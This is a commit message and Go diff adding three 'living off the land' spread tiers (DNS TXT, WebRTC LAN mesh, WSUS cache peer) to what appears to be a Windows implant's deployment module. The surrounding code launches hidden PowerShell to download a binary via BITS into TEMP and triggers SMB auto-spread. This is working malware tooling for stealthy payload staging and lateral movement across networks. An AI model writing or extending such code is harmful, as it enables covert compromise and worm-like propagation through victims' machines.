Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/lotl_onion_windows.go

@@ -53,6 +53,25 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
 		_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
 			fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
 		return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
+	case "wsus_cache_peer":
+		if !IsWSUSCachePeerReady() && !cfg.WSUSCachePeerSpread {
+			return false, "Wuauserv/cache dir not ready and wsus_cache_peer_spread off"
+		}
+		return true, "wsus_cache_peer SoftwareDistribution cousin staging queued (signed plan via discover_and_join)"
+	case "dns_txt":
+		if !cfg.DnsTxtSpread {
+			return false, "dns_txt_spread forge flag off"
+		}
+		zone := ProbeDNSTXTZone()
+		if !IsDNSTXTReady(zone) {
+			return false, "_aether TXT not resolvable on " + zone
+		}
+		return true, "dns_txt mesh TXT shard staging queued (signed plan via discover_and_join)"
+	case "webrtc_mesh":
+		if !IsWebRTCMeshReady(cfg) {
+			return false, "webrtc_mesh_spread forge flag off (heavier LAN seed path)"
+		}
+		return true, "webrtc_mesh LAN seed manifest queued (STUN + WS relay or LAN HTTP fallback)"
 	case "smb":
 		if !cfg.AutoSpread && !cfg.ShareSpread {
 			go RunSpreadOnce(cfg)